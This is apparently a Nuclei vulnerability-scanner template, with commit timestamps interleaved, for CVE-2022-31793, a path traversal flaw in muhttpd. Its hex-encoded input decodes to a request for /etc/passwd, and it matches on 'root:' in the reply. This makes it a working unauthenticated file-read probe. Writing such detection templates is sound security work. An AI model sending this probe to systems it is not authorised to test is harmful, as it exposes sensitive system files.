2022-07-31 11:26:56 +00:00
id : CVE-2022-31793
info :
name : muhttpd <= 1.1.5 - Path traversal
author : scent2d
2022-08-04 14:59:59 +00:00
severity : high
2022-07-31 11:26:56 +00:00
description : |
A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system.
reference :
- https://derekabdine.com/blog/2022-arris-advisory.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793
2022-08-04 08:46:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-31793
2022-08-12 00:56:42 +00:00
- https://derekabdine.com/blog/2022-arris-advisory
2022-08-12 00:45:50 +00:00
classification :
2022-08-12 17:57:05 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2022-08-12 00:45:50 +00:00
cve-id : CVE-2022-31793
2022-08-12 17:57:05 +00:00
cwe-id : CWE-22
2022-08-04 14:59:59 +00:00
metadata :
2022-08-05 14:08:51 +00:00
verified : "true"
2022-08-04 14:59:59 +00:00
tags : cve,cve2022,network,muhttpd,lfi,unauth
2022-07-31 11:26:56 +00:00
network :
- host :
2022-07-31 13:50:22 +00:00
- "{{Hostname}}"
2022-08-04 14:59:59 +00:00
2022-07-31 11:26:56 +00:00
inputs :
2022-07-31 13:50:22 +00:00
- data : "47455420612F6574632F706173737764"
2022-07-31 11:26:56 +00:00
type : hex
- data : "\n\n"
read-size : 128
matchers :
- type : word
2022-08-04 14:59:59 +00:00
part : body
2022-07-31 11:26:56 +00:00
encoding : hex
words :
2022-07-31 13:50:22 +00:00
- "726f6f743a"
